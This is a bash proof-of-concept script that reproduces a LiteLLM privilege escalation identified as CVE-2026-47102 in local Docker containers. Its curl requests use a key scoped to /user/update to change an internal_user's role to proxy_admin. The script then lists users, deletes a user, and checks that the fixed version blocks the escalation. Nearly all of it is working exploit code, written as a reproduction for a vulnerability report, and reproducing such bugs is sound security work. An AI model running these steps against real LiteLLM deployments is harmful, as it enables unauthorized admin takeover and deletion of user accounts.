#!/usr/bin/env bash # # demo.sh — CVE-2026-47102 LiteLLM Privilege Escalation (internal_user → proxy_admin) # # One-click reproduction covering report sections 5.1 through 6.2: # 5.1 — Start vulnerable LiteLLM container (v1.83.7-stable) # 5.2 — Confirm service via docker logs # 5.3 — Create internal_user account via /user/new # 5.4 — Step 1: Admin grants a key with /user/update route access # 5.5 — Step 2: Escalate to proxy_admin via /user/update ← CVE-2026-47102 # 5.6 — Step 3: Verify admin access via /user/list # 5.7 — Extension: Delete admin user directly via /user/delete # 6.1 — Start fixed version (v1.83.10-stable) # 6.2 — Verify fix: attempt /user/update role change (expected: blocked) # # Usage: # bash demo.sh # full 5.1→6.2 reproduction (both versions) # bash demo.sh --keep # keep containers running after demo # set -euo pipefail cd "$(dirname "$0")" RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' BLUE='\033[0;34m' NC='\033[0m' info() { echo -e "${BLUE}[*]${NC} $*"; } pass() { echo -e "${GREEN}[PASS]${NC} $*"; } fail() { echo -e "${RED}[FAIL]${NC} $*"; } warn() { echo -e "${YELLOW}[!]${NC} $*"; } banner(){ echo -e "\n${GREEN}████████${NC} $* ${GREEN}████████${NC}\n"; } MASTER_KEY="sk-litellm-master-key" KEEP=0 cleanup() { if [ "$KEEP" != "1" ]; then info "Cleaning up containers..." docker compose down --remove-orphans 2>/dev/null || true docker rm -f litellm-47102-privesc litellm-47102-fixed litellm-47102-db 2>/dev/null || true else info "Keeping containers running (--keep)." fi } remove_existing_containers() { docker compose down --remove-orphans 2>/dev/null || true for c in "$@"; do docker rm -f "$c" 2>/dev/null || true; done } wait_for_litellm() { local url="$1" local timeout="${2:-120}" info "Waiting for LiteLLM at $url (timeout: ${timeout}s) ..." for i in $(seq 1 "$timeout"); do if curl -sf "$url" >/dev/null 2>&1; then pass "LiteLLM is ready!" return 0 fi if curl -s -o /dev/null -w "%{http_code}" "$url" 2>/dev/null | grep -q "401"; then pass "LiteLLM is ready (auth required)!" return 0 fi sleep 2 done fail "LiteLLM did not become ready within ${timeout}s" return 1 } # Create an internal_user and get their API key create_internal_user() { local target="$1" info "Creating internal_user account..." local resp resp=$(curl -s -X POST "$target/user/new" \ -H "Authorization: Bearer $MASTER_KEY" \ -H "Content-Type: application/json" \ -d '{"role": "internal_user"}' 2>&1) || true local user_id user_id=$(echo "$resp" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))" 2>/dev/null || echo "") local user_key user_key=$(echo "$resp" | python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))" 2>/dev/null || echo "") if [ -n "$user_id" ] && [ -n "$user_key" ]; then pass "Internal user created!" info " User ID: $user_id" info " API Key: ${user_key:0:32}..." echo "$user_id" > /tmp/cve47102_user_id.txt echo "$user_key" > /tmp/cve47102_user_key.txt return 0 else warn "Could not parse user creation response." info "Response: $(echo "$resp" | head -c 300)" return 1 fi } # Step 1: Admin grants a key with /user/update route access step1_grant_route_key() { local target="$1" local user_id="$2" info "Step 1: Admin grants key with /user/update route access..." local resp resp=$(curl -s -X POST "$target/key/generate" \ -H "Authorization: Bearer $MASTER_KEY" \ -H "Content-Type: application/json" \ -d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$user_id\"}" 2>&1) || true local route_key route_key=$(echo "$resp" | python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))" 2>/dev/null || echo "") if [ -n "$route_key" ]; then pass "Key with /user/update route access granted!" info " New API Key: ${route_key:0:48}..." echo "$route_key" > /tmp/cve47102_route_key.txt return 0 else warn "Key granting failed. Response: $(echo "$resp" | head -c 200)" return 1 fi } # Step 2: Escalate to proxy_admin via /user/update (CVE-2026-47102) step2_escalate_to_admin() { local target="$1" local route_key="$2" local user_id="$3" info "Step 2: Escalating user '$user_id' to proxy_admin via /user/update..." info "CVE-2026-47102: /user/update allows self-modification of user_role" local resp resp=$(curl -s -X POST "$target/user/update" \ -H "Authorization: Bearer $route_key" \ -H "Content-Type: application/json" \ -d "{\"user_id\": \"$user_id\", \"user_role\": \"proxy_admin\"}" 2>&1) || true local new_role new_role=$(echo "$resp" | python3 -c " import sys,json d=json.load(sys.stdin) data = d.get('data', {}) print(data.get('user_role', d.get('user_role', 'unknown'))) " 2>/dev/null || echo "unknown") if echo "$resp" | grep -q "user_id"; then pass "Privilege escalation successful!" info " New role: $new_role" return 0 else warn "Escalation may have failed. Response: $(echo "$resp" | head -c 200)" return 1 fi } # Step 3: Verify admin access step3_verify_admin() { local target="$1" local api_key="$2" info "Step 3: Verifying admin access (listing users via /user/list)..." local resp resp=$(curl -s -X GET "$target/user/list" \ -H "Authorization: Bearer $api_key" \ -H "Content-Type: application/json" 2>&1) || true if echo "$resp" | grep -q "users\|user_id"; then pass "Admin access confirmed!" info "User list:" echo "$resp" | python3 -c " import sys, json data = json.load(sys.stdin) users = data if isinstance(data, list) else data.get('users', []) for u in users[:5]: uid = u.get('user_id', '?') role = u.get('user_role', u.get('role', '?')) print(f' - {uid} (role: {role})') " 2>/dev/null || echo "$resp" | head -c 300 return 0 else warn "Admin verification incomplete. Response: $(echo "$resp" | head -c 200)" return 1 fi } # Section 5.7 Extension: Delete a user directly step_extension_delete_user() { local target="$1" local api_key="$2" local user_id="$3" echo "" info "Section 5.7 Extension: Deleting user '$user_id' via /user/delete..." local resp resp=$(curl -s -X POST "$target/user/delete" \ -H "Authorization: Bearer $api_key" \ -H "Content-Type: application/json" \ -d "{\"user_ids\": [\"$user_id\"]}" 2>&1) || true if [ "$resp" = "1" ] || echo "$resp" | grep -q "success\|deleted"; then pass "User deleted via /user/delete — arbitrary user deletion confirmed!" else warn "Delete response: $(echo "$resp" | head -c 200)" fi } main() { while [[ $# -gt 0 ]]; do case "$1" in --keep) KEEP=1; shift ;; *) warn "Unknown option: $1"; shift ;; esac done trap cleanup EXIT clear echo "" echo " ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██╗ ██╗██████╗ " echo " ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔══██╗██║ ██║██╔══██╗" echo " ██║ ██║ ██║█████╗ █████╔╝██║ ██║██║ ██║██████╔╝" echo " ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ██║ ██║██║ ██║██╔══██╗" echo " ╚██████╗ ╚████╔╝ ███████╗ ███████╗██████╔╝╚██████╔╝██║ ██║" echo " ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝" echo "" echo " CVE-2026-47102 — Privilege Escalation via /user/update" echo " CVSS 8.8 | Affected: <1.83.10 | Fixed: v1.83.10+" echo " Root cause: /user/update allows self-modification of user_role" echo " Reproduction: Sections 5.1 through 6.2" echo "" ##################################################################### # Section 5.1: Start vulnerable LiteLLM container ##################################################################### banner "Section 5.1: Starting vulnerable LiteLLM (v1.83.7-stable)" remove_existing_containers litellm-47102-privesc litellm-47102-db docker compose up -d litellm info "Container: litellm-47102-privesc (port 4002)" echo "" ##################################################################### # Section 5.2: Confirm service running ##################################################################### banner "Section 5.2: Confirming service running" info "Waiting for container to start, then showing logs..." sleep 5 info "--- docker logs litellm-47102-privesc (last 10 lines) ---" docker logs litellm-47102-privesc 2>&1 | tail -10 echo "" ##################################################################### # Section 5.3: Create internal_user account ##################################################################### banner "Section 5.3: Creating internal_user account" wait_for_litellm "http://localhost:4002" 60 create_internal_user "http://localhost:4002" echo "" # Read saved credentials local INTERNAL_USER_ID local INTERNAL_USER_KEY INTERNAL_USER_ID=$(cat /tmp/cve47102_user_id.txt 2>/dev/null || echo "") INTERNAL_USER_KEY=$(cat /tmp/cve47102_user_key.txt 2>/dev/null || echo "") if [ -z "$INTERNAL_USER_ID" ] || [ -z "$INTERNAL_USER_KEY" ]; then fail "No internal user credentials available. Aborting." exit 1 fi ##################################################################### # Section 5.4: Step 1 — Admin grants key with /user/update route ##################################################################### banner "Section 5.4: Step 1 — Granting key with /user/update route access" info "Vulnerability context: internal_user cannot self-grant /user/update route." info "Admin must explicitly create a route-restricted key for the user." echo "" step1_grant_route_key "http://localhost:4002" "$INTERNAL_USER_ID" echo "" local ROUTE_KEY ROUTE_KEY=$(cat /tmp/cve47102_route_key.txt 2>/dev/null || echo "") if [ -z "$ROUTE_KEY" ]; then fail "No route key available. Cannot proceed with exploitation." exit 1 fi ##################################################################### # Section 5.5: Step 2 — Escalate to proxy_admin (CVE-2026-47102) ##################################################################### banner "Section 5.5: Step 2 — Escalating to proxy_admin via /user/update" info "CVE-2026-47102: /user/update endpoint checks THAT a user can update," info "but does NOT restrict WHICH fields (e.g. user_role) can be modified." echo "" step2_escalate_to_admin "http://localhost:4002" "$ROUTE_KEY" "$INTERNAL_USER_ID" echo "" ##################################################################### # Section 5.6: Step 3 — Verify admin access ##################################################################### banner "Section 5.6: Step 3 — Verifying admin access" info "The escalated user's original API key now has proxy_admin role." step3_verify_admin "http://localhost:4002" "$INTERNAL_USER_KEY" echo "" ##################################################################### # Section 5.7: Extension — Delete admin user ##################################################################### echo "" banner "Section 5.7: Extension — Arbitrary user deletion" info "With proxy_admin privileges, /user/delete allows deleting any user." step_extension_delete_user "http://localhost:4002" "$INTERNAL_USER_KEY" "$INTERNAL_USER_ID" ##################################################################### # Section 6: Fixed version comparison ##################################################################### echo "" banner "Section 6.1: Starting fixed version (v1.83.10-stable)" remove_existing_containers litellm-47102-fixed docker compose --profile fixed up -d litellm-fixed wait_for_litellm "http://localhost:4003" 60 echo "" banner "Section 6.2: Verifying fix (expected: blocked)" info "Fixed version v1.83.10 restricts which fields /user/update may modify." info "user_role changes should now require proxy_admin privileges." echo "" # Create internal_user on fixed version local FIXED_USER_RESP FIXED_USER_RESP=$(curl -s -X POST "http://localhost:4003/user/new" \ -H "Authorization: Bearer $MASTER_KEY" \ -H "Content-Type: application/json" \ -d '{"role": "internal_user"}' 2>&1) || true local FIXED_USER_ID FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))" 2>/dev/null || echo "") if [ -n "$FIXED_USER_ID" ]; then pass "Internal user created on fixed version!" # Create key with /user/update route local FIXED_KEY_RESP FIXED_KEY_RESP=$(curl -s -X POST "http://localhost:4003/key/generate" \ -H "Authorization: Bearer $MASTER_KEY" \ -H "Content-Type: application/json" \ -d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" 2>&1) || true local FIXED_ROUTE_KEY FIXED_ROUTE_KEY=$(echo "$FIXED_KEY_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))" 2>/dev/null || echo "") if [ -n "$FIXED_ROUTE_KEY" ]; then # Attempt to escalate (expected: blocked) local fixed_esc_resp fixed_esc_resp=$(curl -s -X POST "http://localhost:4003/user/update" \ -H "Authorization: Bearer $FIXED_ROUTE_KEY" \ -H "Content-Type: application/json" \ -d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}" 2>&1) || true if echo "$fixed_esc_resp" | grep -qi "error\|denied\|forbidden\|not allowed\|permission"; then pass "[FIXED] /user/update correctly blocked user_role modification!" else local role_check role_check=$(echo "$fixed_esc_resp" | python3 -c " import sys,json d=json.load(sys.stdin) data = d.get('data', {}) r = data.get('user_role', d.get('user_role', '')) print(r) " 2>/dev/null || echo "") if [ "$role_check" = "proxy_admin" ]; then warn "Escalation still succeeded on fixed version (unexpected)." else pass "[FIXED] /user/update blocked escalation (role unchanged)." fi fi else warn "Could not create route key on fixed version." fi else warn "Could not create internal_user on fixed version." fi echo "" echo " ===============================================" pass "Reproduction complete! (Sections 5.1 — 6.2)" echo " Vulnerable: http://localhost:4002 — CVE-2026-47102 CONFIRMED" echo " Fixed: http://localhost:4003 — ESCALATION BLOCKED" echo " ===============================================" echo "" echo " Attack chain:" echo " 1. Admin creates a key with /user/update route access for user" echo " 2. User calls /user/update → user_role: proxy_admin ← CVE-2026-47102" echo " 3. Verify /user/list → full admin access confirmed" echo "" echo " Root cause: /user/update allows self-modification of user_role" echo " - No field-level restrictions in can_user_call_user_update()" echo " - Any field including user_role can be changed by the user" echo " - Fixed in v1.83.10 by restricting which fields non-admin can modify" echo "" } main "$@"